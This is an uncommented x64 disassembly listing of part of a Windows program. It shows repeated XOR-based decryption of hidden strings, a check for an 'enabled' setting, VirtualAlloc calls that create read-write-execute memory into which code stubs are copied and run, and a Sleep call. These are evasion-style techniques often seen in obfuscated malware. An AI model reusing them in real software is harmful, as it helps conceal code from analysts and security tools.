movups xmmword [rsp + 0x650], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x660], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xe28]
cmp qword [rsp + 0xe40], 0x10
cmovae rdx, qword [rsp + 0xe28]
mov r8, qword [rsp + 0xe38]
lea rcx, [rsp + 0x650]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x630], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x640], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x630], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x640], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0x318]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140241a50
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0x630]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x840], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x850], xmm1
mov rdx, rax
lea rcx, [rsp + 0x840]
call fcn.140259600
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0xe98]
call fcn.140257710
lea rcx, [rsp + 0x840]
call fcn.140259200
nop
lea rcx, [rsp + 0x630]
call fcn.140259200
nop
lea rcx, [rsp + 0x650]
call fcn.140259200
nop
lea rcx, [rsp + 0x5d0]
call fcn.140259200
nop
lea rcx, [rsp + 0x5f0]
call fcn.140259200
nop
lea rcx, [rsp + 0x610]
call fcn.140259200
nop
lea rcx, [rsp + 0x680]
call fcn.140259200
nop
lea rcx, [rsp + 0xb10]
call fcn.140259200
jmp 0x140241b21
mov ebx, 0x1f
lea rcx, [rsp + 0xd20]
cmp qword [rsp + 0xd38], 0x10
cmovae rcx, qword [rsp + 0xd20]
mov r8, qword [rsp + 0xd30]
cmp r8, 7
jne 0x14024266c
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14024266c
lea r15, [0x14025b2b0]
movsd xmm0, qword [0x1402a97a0]
movsd qword [rsp + 0x1d0], xmm0
mov eax, dword [0x1402a97a8]
mov dword [rsp + 0x1d8], eax
cmp byte [0x1402a97ab], 0
je 0x140241df7
mov r9d, esi
cmp r12d, 2
jl 0x140241d8b
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
movd xmm11, ebx
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a97a0]
pxor xmm3, xmm0
movd dword [rsp + 0x1d0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1d4]
pxor xmm3, xmm1
movd dword [rsp + 0x1d4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140241da0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6a0], xmm0
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], rsi
lea rax, [rsp + 0x1d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140241e21
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x6a0]
call fcn.14021d330
nop
lea rcx, [rsp + 0x6a0]
call fcn.14020c9c0
mov qword [rsp + 0x4f8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf80], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xf88], r13
mov qword [rsp + 0xf90], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xf80], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x140241ec9
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x140241eb8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x140241ea0
jmp 0x140241ec9
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x140241faf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140241ef0
mov r8, rsi
jmp 0x140241f8e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140241f00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x4f8]
lea rcx, [fcn.14020b790]
call r8
mov dword [rsp + 0x70], eax
xor rbx, r13
mov qword [rsp + 0xf80], rbx
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
lea rcx, [rsp + 0x6a0]
call fcn.140259200
movups xmm0, xmmword [0x1402a9fb8]
movups xmmword [rsp + 0x2b8], xmm0
movzx eax, word [0x1402a9fc8]
mov word [rsp + 0x2c8], ax
cmp byte [0x1402a9fc9], 0
je 0x1402422b7
mov r9d, esi
cmp r12d, 2
jl 0x140242247
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x2bc]
mov edx, dword [rsp + 0xe0]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140242080
cmp r9d, 0x12
jge 0x1402422b7
movsxd rax, r9d
lea r10, [rsp + 0x2b8]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140242260
xorps xmm0, xmm0
movups xmmword [rsp + 0x6c0], xmm0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], rsi
lea rax, [rsp + 0x2b8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1402422e1
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x6c0]
call fcn.14021d330
nop
lea rcx, [rsp + 0x6c0]
call fcn.14020c9c0
mov qword [rsp + 0x500], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xfd0], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xfd8], r13
mov qword [rsp + 0xfe0], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xfd0], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x140242389
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x140242378
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x140242360
jmp 0x140242389
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x14024246f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402423b0
mov r8, rsi
jmp 0x14024244e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402423c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x500]
lea rcx, [fcn.14020b790]
call r8
mov r12d, eax
xor rbx, r13
mov qword [rsp + 0xfd0], rbx
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
lea rcx, [rsp + 0x6c0]
call fcn.140259200
cmp dword [rsp + 0x70], 0
jne 0x1402424b7
test r12d, r12d
je 0x140242673
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x274], 0x7d0
xorps xmm0, xmm0
movups xmmword [rsp + 0xfe8], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xff0], r13
mov qword [rsp + 0xff8], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0xfe8], r12
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x14024253e
mov rdx, rsi
lea r8, [0x14025b2e0]
cmp rax, r8
je 0x14024252d
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x140242515
jmp 0x14024253e
mov r8, qword [r14 + rdx*8 + 0x2c39f0]
test r8, r8
jne 0x140242636
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140242565
mov r8, rsi
jmp 0x14024260e
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140242580
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [r14 + rax*8 + 0x2c13f0], rcx
mov qword [r14 + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0x274]
mov rcx, rbx
call r8
nop
xor r12, r13
mov qword [rsp + 0xfe8], r12
lea rax, [rsp + 0x6308]
mov qword [rax], r12
mov r12d, dword [0x1402bd008]
mov ebx, 0x1f
jmp 0x140241b68
lea r15, [0x14025b2b0]
mov eax, dword [0x1402a94fc]
mov dword [rsp + 0x94], eax
movzx eax, word [0x1402a9500]
mov rbx, rdi
mov word [rsp + 0x98], ax
mov byte [rsp + 0x94], 0x4f
xor byte [rsp + 0x95], 0x43
xor byte [rsp + 0x96], 0x45
xor byte [rsp + 0x97], 0x47
xor byte [rsp + 0x98], 0x49
xor byte [rsp + 0x99], 0x4b
lea rax, [rsp + 0x94]
mov qword [rsp + 0x508], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1000], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0x1008], r13
mov qword [rsp + 0x1010], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0x1000], r12
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c1d70]
test rax, rax
je 0x140242749
mov rdx, rsi
lea r8, [0x14025b2b0]
nop
cmp rax, r8
je 0x140242738
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x140242720
jmp 0x140242749
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x140242836
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140242770
mov r8, rsi
jmp 0x14024280e
lea rax, [0x14025b2b0]
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140242780
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
lea rcx, [0x14025b2b0]
mov qword [r14 + rax*8 + 0x2c1d70], rcx
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x508]
mov rcx, rbx
call r8
nop
xor r12, r13
mov qword [rsp + 0x1000], r12
lea rax, [rsp + 0x6308]
mov qword [rax], r12
movups xmm0, xmmword [0x1402aaad8]
movups xmmword [rsp + 0x518], xmm0
movups xmm1, xmmword [0x1402aaae8]
movups xmmword [rsp + 0x528], xmm1
movzx eax, word [0x1402aaaf8]
mov word [rsp + 0x538], ax
movzx eax, byte [0x1402aaafa]
mov byte [rsp + 0x53a], al
mov r9d, esi
mov r12d, dword [0x1402bd008]
cmp r12d, 2
jl 0x140242ad7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x51c]
mov edx, dword [rsp + 0xe0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140242910
cmp r9d, 0x23
jge 0x140242b47
movsxd rax, r9d
lea r10, [rsp + 0x518]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x140242af0
lea rax, [rsp + 0x518]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140242b56
call fcn.14027c590
lea rcx, [rsp + 0x518]
mov qword [rsp + 0x670], rcx
mov qword [rsp + 0x678], rbx
lea r8, [rsp + 0x670]
mov edx, eax
lea rcx, [rsp + 0x880]
call fcn.140203f10
nop
lea rcx, [rsp + 0x880]
call fcn.1402044e0
movzx ebx, al
lea rcx, [rsp + 0x880]
call fcn.140258f70
test bl, bl
jne 0x140243442
mov edx, 0x18
lea rcx, [rsp + 0x1048]
call fcn.140209da0
movups xmm0, xmmword [0x1402ab000]
movups xmmword [rsp + 0x568], xmm0
movups xmm1, xmmword [0x1402ab010]
movups xmmword [rsp + 0x578], xmm1
movzx eax, word [0x1402ab020]
mov word [rsp + 0x588], ax
movzx eax, byte [0x1402ab022]
mov byte [rsp + 0x58a], al
mov r9d, esi
mov ebx, 6
cmp r12d, 2
jl 0x140242e47
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x56c]
mov edx, dword [rsp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
